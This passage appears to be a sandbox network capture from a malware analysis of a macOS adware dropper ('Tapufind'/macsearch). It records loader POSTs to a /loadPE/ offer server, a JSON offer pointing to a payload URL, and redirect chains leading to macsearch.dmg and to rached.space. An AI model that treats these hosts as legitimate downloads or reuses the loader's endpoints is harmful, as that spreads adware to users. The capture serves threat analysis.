cc ea b4 49 3f 4b 3f 7a fc d1 27 1f cd 8a cb b4 98 7d f6 fb 7e 3c c9 b3 69 b5 fc fd ef 4f 3f bd 7f ff 60 ff 7c b2 9f 3f 7c 98 dd 3f bf 77 3f 7b b0 fb f0 60 7f 6f b2 fb e9 a7 0f 3f fd f4 f7 fd 38 6d da eb 32 a7 37 56 55 53 00 e8 a3 34 9b 34 55 b9 6e f3 c3 b4 cc cf db 47 e9 ce ea dd 61 da 56 2b fd ed b2 68 8a 49 51 16 ed f5 a3 74 5e cc 66 f9 f2 f0 f7 fd f8 e8 f7 5d 7e 74 f8 1b 27 4d fa 89 62 52 2c 2e d2 ab 62 d6 ce 3f fb 7d 3f da f9 7d 3f 4a e7 79 71 31 6f f5 8f a6 9e d2 6f f3 b6 5d 3d ba 7b 77 9a b5 e3 f3 7a 9c af c7 d3 ba 68 f3 6a 3c ad 16 77 67 79 59 5c e6 f5 f5 dd f2 62 bc 9a af 7e 8f e9 6a 75 f9 d9 ee 2f a4 1f 9f 5d fe f4 e5 de 77 7f ef 77 4f 66 5f 7d 67 77 b6 d3 ee be b9 7e 58 fe e4 9b 9f 78 f7 53 bf f7 b3 17 df fd aa 7c f9 13 7b cf be f8 a2 2c 9f 4f ef 3d fb c9 2f f6 be da 79 73 ba fb dd 57 bf f7 ac ca f6 ca ea bb 6f e6 97 93 c5 ee ef f5 66 af fd bd b3 d7 ed b7 7f 9f df fb c5 8b af 4e 7f f2 ed 8b eb 76 f7 8b ef ce de 4c 7f f2 a7 3e cf 76 bf da 7f f1 ed 67 27 df 7d bb f3 ee bb e5 77 3e cd 76 9f 5c ff c4 4f be 7a fd d5 57 af e6 5f 7e fb 27 5f 64 4f a7 97 3f b5 b3 2a 7f 6a 67 f6 fa ab ef 96 cf b2 1f 94 3f f8 e2 27 e7 57 d3 dd af ae 5e bc 7d f8 7b e5 9f ff 3e bb d4 cf b3 d7 9f bf fb e9 57 3b a7 3b 5f 95 f3 5f f4 ea cd 8b f6 ab bd 72 fd c5 77 2f f6 bf 78 f6 ea fe f4 f3 ea fe 9b 9f ac ae 66 4f cf 76 bf fa bd df de 9f 9d be d8 fb e2 e9 ec f7 ca 7e ef d5 cb 17 3b af ae 7f 9f e5 d9 f5 4f bc 6e 9b Data Ascii: `I%&/m{JJt`$@iG#)eVe]f@{{;N'?\fdlJ!?~\|?":_/mQ-8I?K?z'}~<iO?`\|?\|?w?{`o?8m27VUS44UnGaV+hIQt^f]~t'MbR,.b?}?}?Jyq1oo]={wzhj<wgyY\b~ju/]wwOf_}gw~XxS\|{,O=/ysWofNvL>vg'}w>v\OzW_~'_dO?jg?'W^}{>W;;__rw/xfOv~;On
Feb 14, 2019 13:00:15.494865894 MEZ	8205	IN	Data Raw: 57 3f 38 ad f3 df bb bc 7a f1 f4 f4 ea d5 ef fd e4 27 5f df 7b f5 ea 27 bf fd ec 17 fd d4 9b f9 ce ec f3 fd 1f bc be 37 5f fd 3e 8b ef 7c 7b ba f3 ee f5 eb 1f fc 3e bb af 96 df f9 fc c5 57 af 96 2f df ec 1e fc be 1f dd ed cd ca 5d 62 90 de 87 bf Data Ascii: W?8z'_{'7_>\|{>W/]bvw^vzog
Feb 14, 2019 13:00:15.494879961 MEZ	8205	IN	Data Raw: dd de fd 9d f4 84 67 e5 f7 7f 99 35 cd 24 9b be a5 6f 9e 7e 99 be f8 f2 4d fa c5 97 4f cf 9e fd 3e e9 f6 76 0f e2 eb 93 57 67 2f 09 ce ef f3 f2 94 e6 b9 cd df b5 77 7f 3a bb cc 1a 9a e0 55 fb fb 7e 14 b4 07 ff fe fe bf ff 4f 37 d3 d5 67 1e 5f 9f Data Ascii: g5$o~MO>vWg/w:U~O7g_W\|3>0]?O>7\|>?Y5]/W?y^y})A/~+`,M/$YO.[Os_~&Q6}?^>ZWb[_d

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.0.50	49330	77.245.58.158	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.548913002 MEZ	8207	OUT	GET /tag?zone_id=11521&size=300x250&j=pu%3Dsearch.tapufind.com%26if%3D0%26rn%3D60494450 HTTP/1.1 Host: display.online-adnetwork.com Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.574289083 MEZ	8208	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Feb 2019 12:00:15 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 287 Connection: close Cache-Control: no-store Pragma: no-cache Age: 0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 21 2d 2d 20 33 39 37 32 37 20 2d 2d 3e 5c 6e 3c 69 66 72 61 6d 65 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 31 2d 31 61 64 73 2e 63 6f 6d 2f 61 64 73 3f 6b 65 79 3d 38 33 36 34 62 35 61 39 39 62 65 36 62 39 36 64 32 32 33 35 36 33 30 34 64 30 38 61 31 34 33 36 26 63 68 3d 5c 22 20 77 69 64 74 68 3d 5c 22 33 30 30 5c 22 20 68 65 69 67 68 74 3d 5c 22 32 35 30 5c 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 5c 22 30 5c 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 5c 22 6e 6f 5c 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 69 6d 67 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 64 69 73 70 6c 61 79 2e 6f 6e 6c 69 6e 65 2d 61 64 6e 65 74 77 6f 72 6b 2e 63 6f 6d 2f 69 6d 70 3f 69 3d 36 63 79 38 47 51 56 61 36 5a 63 5f 30 27 20 61 6c 74 3d 27 20 27 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 3e 22 29 Data Ascii: document.write("... 39727 -->\n<iframe src=\"https://www.1-1ads.com/ads?key=8364b5a99be6b96d22356304d08a1436&ch=\" width=\"300\" height=\"250\" frameborder=\"0\" scrolling=\"no\"></iframe><img src='http://display.online-adnetwork.com/imp?i=6cy8GQVa6Zc_0' alt=' ' style='display:none'>")

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.0.50	49331	178.250.0.160	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.563158989 MEZ	8207	OUT	GET /delivery/lg.php?cppv=1&cpp=vjv2WXxBdUJ1d0t1Ty9lVTQxZXFNWUlPQ2FMMllLc3FVM2U0TE1WRXdoa2loWThvbm1KT2tXaStHYXNNUEVkNyt1MWdTcVZGa1U4NHFCWk0xWlJ6a1ByQVRSUURhOHVNaDcvZ0plZ0dSUWlFazlzMVhwc1UwNk9KeGY1WThFSGxjR0E0UlhqRTNtU2luMWg4MFR5cGo5TVowdDI1UXk5dEN2MDdKaXpPN0RyYnIyQStsRzEreXlwNDEwRXBVS3RRVHFqZTh0dG4zS3hpYmJHc0xSSzY1RnJGNURnPT18 HTTP/1.1 Host: cat.fr.eu.criteo.com Connection: keep-alive Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.590367079 MEZ	8211	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: Mon, 26 Jul 1997 05:00:00 GMT Server: Microsoft-IIS/10.0 P3P: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:14 GMT Content-Length: 43 Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.0.50	49286	34.225.153.59	10000

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:28.622503042 MEZ	343	OUT	POST /loadPE/getOffers.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 809 Expect: 100-continue Connection: keep-alive Host: 34.225.153.59:10000
Feb 14, 2019 12:59:28.717641115 MEZ	344	IN	HTTP/1.1 100 Continue
Feb 14, 2019 12:59:29.306829929 MEZ	346	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1Njh9LFwidGltZVwiOjE1NTAxNDU1Njh9In0.svDLjpzHVyLSSnt6uxBCAXi7j5Ojxtv0d6C9gufSNFw; expires=Sun, 17-Mar-2019 11:59:28 GMT; path=/ Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjgsXCI4XCI6MTU1MDE0NTU2OH0sXCJ0aW1lXCI6MTU1MDE0NTU2OH0ifQ.VC_F_-A0dPr3fGjhZ0f7KehDPHvaURorCEVvHvEnbkI; expires=Sun, 17-Mar-2019 11:59:28 GMT; path=/ Data Raw: 61 37 34 0d 0a 7b 22 69 64 22 3a 22 34 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6c 69 73 74 22 2c 22 6f 66 66 65 72 5f 74 69 74 6c 65 22 3a 22 54 61 70 75 66 69 6e 64 22 2c 22 72 61 6e 5f 70 61 74 68 22 3a 22 5e 5e 5e 6d 61 63 73 65 61 72 63 68 2e 61 70 70 5c 2f 43 6f 6e 74 65 6e 74 73 5c 2f 4d 61 63 4f 53 5c 2f 6d 61 63 73 65 61 72 63 68 22 2c 22 6f 66 66 65 72 5f 75 72 6c 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 69 6e 73 74 61 6c 6c 2e 6f 73 78 61 70 70 64 6f 77 6e 6c 6f 61 64 2e 63 6f 6d 5c 2f 64 6f 77 6e 6c 6f 61 64 5c 2f 6d 63 77 6e 65 74 22 2c 22 6f 66 66 65 72 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 70 46 71 77 68 69 55 74 39 30 50 35 51 32 42 66 61 38 45 6c 48 66 50 51 58 42 31 48 37 31 74 39 4a 35 76 42 76 69 6a 4a 74 47 64 43 48 6b 6f 51 33 47 70 78 4a 45 55 51 42 31 51 73 43 71 54 49 42 4d 47 4a 67 4a 65 6a 46 69 74 45 58 4e 5c 2f 65 4a 64 4f 57 6b 59 70 64 38 73 6c 71 50 75 59 56 67 4c 52 69 33 6a 6c 41 41 5c 2f 61 30 34 39 52 74 49 4f 57 54 44 4b 6b 58 65 66 75 6f 6f 36 4c 57 6c 44 74 47 72 50 49 59 46 4c 46 79 32 49 70 47 32 5a 75 63 36 59 58 41 34 4e 52 45 4c 6c 30 70 56 2b 6f 59 67 31 6e 67 4a 55 70 33 75 4a 4c 30 55 4e 34 7a 34 48 6e 58 5c 2f 64 6f 76 75 69 76 70 36 55 54 56 52 72 68 68 57 59 6e 75 49 4f 4c 61 4c 69 32 51 78 35 43 36 67 69 4a 69 57 30 72 63 46 Data Ascii: a74{"id":"4","display":"list","offer_title":"Tapufind","ran_path":"^^^macsearch.app\/Contents\/MacOS\/macsearch","offer_url":"http:\/\/install.osxappdownload.com\/download\/mcwnet","offer_description":"pFqwhiUt90P5Q2Bfa8ElHfPQXB1H71t9J5vBvijJtGdCHkoQ3GpxJEUQB1QsCqTIBMGJgJejFitEXN\/eJdOWkYpd8slqPuYVgLRi3jlAA\/a049RtIOWTDKkXefuoo6LWlDtGrPIYFLFy2IpG2Zuc6YXA4NRELl0pV+oYg1ngJUp3uJL0UN4z4HnX\/dovuivp6UTVRrhhWYnuIOLaLi2Qx5C6giJiW0rcF
Feb 14, 2019 12:59:36.996640921 MEZ	652	OUT	POST /loadPE/checkPost.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 100 Expect: 100-continue Host: 34.225.153.59:10000
Feb 14, 2019 12:59:37.091907024 MEZ	652	IN	HTTP/1.1 100 Continue
Feb 14, 2019 12:59:37.132783890 MEZ	653	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1Nzd9LFwidGltZVwiOjE1NTAxNDU1Nzd9In0.hiNRcHNU4LDV0unkf7IdQG_Y2K1K-wYnmLB3xc4Svig; expires=Sun, 17-Mar-2019 11:59:37 GMT; path=/ Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Feb 14, 2019 12:59:45.057467937 MEZ	1968	OUT	POST /loadPE/checkPost.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 100 Expect: 100-continue Host: 34.225.153.59:10000
Feb 14, 2019 12:59:45.152908087 MEZ	1968	IN	HTTP/1.1 100 Continue
Feb 14, 2019 12:59:45.193888903 MEZ	1969	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1ODV9LFwidGltZVwiOjE1NTAxNDU1ODV9In0.GOH8UiTUPQTPk4SNn7KA6jOAl6wp23NB9zeqANiYpWw; expires=Sun, 17-Mar-2019 11:59:45 GMT; path=/ Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Feb 14, 2019 12:59:48.295470953 MEZ	2539	OUT	POST /loadPE/checkPost.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 100 Expect: 100-continue Host: 34.225.153.59:10000
Feb 14, 2019 12:59:48.391099930 MEZ	2540	IN	HTTP/1.1 100 Continue
Feb 14, 2019 12:59:48.435991049 MEZ	2540	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 Set-Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1ODh9LFwidGltZVwiOjE1NTAxNDU1ODh9In0.YrvAxDKoxjcsLG3gs2mYJZnvxCgKgzY668WFuE8x2Gc; expires=Sun, 17-Mar-2019 11:59:48 GMT; path=/ Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.0.50	49332	77.245.58.151	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.684173107 MEZ	8214	OUT	GET /imp?i=6cy8GQVa6Zc_0 HTTP/1.1 Host: display.online-adnetwork.com Connection: keep-alive Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.707165003 MEZ	8215	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Feb 2019 12:00:15 GMT Content-Type: image/gif Content-Length: 42 Connection: close Cache-Control: no-store Pragma: no-cache Age: 0 Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.0.50	49337	95.100.97.91	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:16.132350922 MEZ	8252	OUT	GET /MFgwVqADAgEAME8wTTBLMAkGBSsOAwIaBQAEFH7maudymrP8%2BKIgZGwWoS1gcQhdBBSoSmpjBH3duubRObemRWXv86jsoQISA05%2FLr%2B8wuv7zvqr86TvKiUl HTTP/1.1 Host: ocsp.int-x3.letsencrypt.org Connection: close User-Agent: trustd (unknown version) CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:16.162261009 MEZ	8256	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/ocsp-response Content-Length: 527 ETag: "9FB2349E47C7E541BD2331C03015F11B1F5C7FD4733E441661E03EF24666810D" Last-Modified: Mon, 11 Feb 2019 09:00:00 UTC Cache-Control: public, no-transform, must-revalidate, max-age=20618 Expires: Thu, 14 Feb 2019 17:43:54 GMT Date: Thu, 14 Feb 2019 12:00:16 GMT Connection: close Data Raw: 30 82 02 0b 0a 01 00 a0 82 02 04 30 82 02 00 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 f1 30 82 01 ed 30 81 d6 a1 4c 30 4a 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 16 30 14 06 03 55 04 0a 13 0d 4c 65 74 27 73 20 45 6e 63 72 79 70 74 31 23 30 21 06 03 55 04 03 13 1a 4c 65 74 27 73 20 45 6e 63 72 79 70 74 20 41 75 74 68 6f 72 69 74 79 20 58 33 18 0f 32 30 31 39 30 32 31 31 30 39 30 33 30 30 5a 30 75 30 73 30 4b 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 7e e6 6a e7 72 9a b3 fc f8 a2 20 64 6c 16 a1 2d 60 71 08 5d 04 14 a8 4a 6a 63 04 7d dd ba e6 d1 39 b7 a6 45 65 ef f3 a8 ec a1 02 12 03 4e 7f 2e bf bc c2 eb fb ce fa ab f3 a4 ef 2a 25 25 80 00 18 0f 32 30 31 39 30 32 31 31 30 39 30 30 30 30 5a a0 11 18 0f 32 30 31 39 30 32 31 38 30 39 30 30 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 66 1b ba bb e2 b5 c3 80 10 26 e7 12 a3 29 88 42 0d bd cb a3 da f4 ea bf 21 89 39 f9 ca 0f 5d 2d be 0e 82 62 57 27 65 c9 48 ae 1a 8d ad cf b1 c3 3e 88 f1 da 23 c3 c6 9f 03 5e d3 a0 42 7b 74 ed 6d 31 33 1e ee e5 0a 0e 41 6d d5 fd 08 e2 9a 5a 1a ed c6 97 f7 e3 40 88 eb 0f b5 f4 83 25 93 bd 08 dc 9b 3b ee 27 f0 9c d6 12 d0 c1 95 e7 e6 e9 42 f7 9b e4 ec 90 30 99 0c 38 d1 55 45 30 41 71 88 cb 03 59 10 e4 44 71 fb 48 21 1d a0 3e 1b e1 1b fd 6b 7a fe b0 3e e8 f4 a3 a5 1f 0c bd 50 01 40 b3 6a f9 15 c4 6d bb 8b 3f a2 60 f7 3e 51 17 22 b2 8e 83 b5 85 ba bf 91 d3 3d b2 cd 29 07 89 bd 60 3a 5f 1c 13 07 cf 51 d4 e4 82 ce 5b fd 4a ea 80 3a d3 07 9a 05 b8 ee 79 99 c6 09 6d 7f 10 d5 e2 be 86 8b ed ee 28 1b 05 10 11 3a 1e a4 11 9b b6 19 50 6b 52 97 21 97 3f 3b 85 ef a6 23 b0 Data Ascii: 00+000L0J10UUS10ULet's Encrypt1#0!ULet's Encrypt Authority X320190211090300Z0u0s0K0+~jr dl-`q]Jjc}9EeN.%%20190211090000Z20190218090000Z0Hf&)B!9]-bW'eH>#^B{tm13AmZ@%;'B08UE0AqYDqH!>kz>P@jm?`>Q"=)`:_Q[J:ym(:PkR!?;#

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.0.50	49287	52.174.148.190	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:31.114423037 MEZ	359	OUT	GET /download/mcwnet HTTP/1.1 Connection: keep-alive Host: install.osxappdownload.com
Feb 14, 2019 12:59:31.140394926 MEZ	359	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: http://cdn.macapproduct.com/installer/macsearch.dmg Server: Microsoft-IIS/8.5 X-AspNetMvc-Version: 5.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:30 GMT Content-Length: 168 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 61 70 70 72 6f 64 75 63 74 2e 63 6f 6d 2f 69 6e 73 74 61 6c 6c 65 72 2f 6d 61 63 73 65 61 72 63 68 2e 64 6d 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://cdn.macapproduct.com/installer/macsearch.dmg">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.0.50	49290	52.40.4.65	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:45.436333895 MEZ	1970	OUT	GET /erq/chs?cid=3gggkfl1b0pp5pt5sadh&f=setup HTTP/1.1 Connection: keep-alive Host: www.pintaj.pw
Feb 14, 2019 12:59:45.595549107 MEZ	1971	IN	HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Date: Thu, 14 Feb 2019 11:59:45 GMT Location: http://tusak.rached.space/cf/oq?cid=3gggkfl1b0pp5pt5sadh&f=setup&uu=lIaJhrzOpHZ6hXV2eXqMfXp6gXc= Server: nginx/1.10.3 (Ubuntu) Content-Length: 415 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 33 2e 32 20 46 69 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 75 73 61 6b 2e 72 61 63 68 65 64 2e 73 70 61 63 65 2f 63 66 2f 6f 71 3f 63 69 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 75 75 3d 6c 49 61 4a 68 72 7a 4f 70 48 5a 36 68 58 56 32 65 58 71 4d 66 58 70 36 67 58 63 3d 22 3e 68 74 74 70 3a 2f 2f 74 75 73 61 6b 2e 72 61 63 68 65 64 2e 73 70 61 63 65 2f 63 66 2f 6f 71 3f 63 69 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 75 75 3d 6c 49 61 4a 68 72 7a 4f 70 48 5a 36 68 58 56 32 65 58 71 4d 66 58 70 36 67 58 63 3d 3c 2f 61 3e 2e 20 20 49 66 20 6e 6f 74 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to target URL: <a href="http://tusak.rached.space/cf/oq?cid=3gggkfl1b0pp5pt5sadh&f=setup&uu=lIaJhrzOpHZ6hXV2eXqMfXp6gXc=">http://tusak.rached.space/cf/oq?cid=3gggkfl1b0pp5pt5sadh&f=setup&uu=lIaJhrzOpHZ6hXV2eXqMfXp6gXc=</a>. If not click the link.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.0.50	49291	35.162.20.150	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:45.830265999 MEZ	1972	OUT	GET /cf/oq?cid=3gggkfl1b0pp5pt5sadh&f=setup&uu=lIaJhrzOpHZ6hXV2eXqMfXp6gXc= HTTP/1.1 Connection: keep-alive Host: tusak.rached.space
Feb 14, 2019 12:59:46.008542061 MEZ	1973	IN	HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Date: Thu, 14 Feb 2019 11:59:45 GMT Location: http://www.rached.space/mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c Server: nginx/1.10.3 (Ubuntu) Content-Length: 447 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 33 2e 32 20 46 69 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 61 63 68 65 64 2e 73 70 61 63 65 2f 6d 6d 65 63 77 2f 71 71 76 64 77 78 3f 63 69 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 70 76 68 69 64 3d 33 36 32 36 34 32 34 32 2d 38 31 33 35 2d 34 35 39 30 2d 39 39 31 35 2d 65 33 65 39 37 37 30 38 31 63 30 63 22 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 72 61 63 68 65 64 2e 73 70 61 63 65 2f 6d 6d 65 63 77 2f 71 71 76 64 77 78 3f 63 69 64 3d 33 67 67 67 6b 66 6c 31 62 30 70 70 35 70 74 35 73 61 64 68 26 61 6d 70 3b 66 3d 73 65 74 75 70 26 61 6d 70 3b 70 76 68 69 64 3d 33 36 32 36 34 32 34 32 2d 38 31 33 35 2d 34 35 39 30 2d 39 39 31 35 2d 65 33 65 39 37 37 30 38 31 63 30 63 3c 2f 61 3e 2e 20 20 49 66 20 6e 6f 74 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to target URL: <a href="http://www.rached.space/mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c">http://www.rached.space/mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c</a>. If not click the link.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.0.50	49292	35.161.68.49	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:46.249330997 MEZ	1974	OUT	GET /mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c HTTP/1.1 Connection: keep-alive Host: www.rached.space
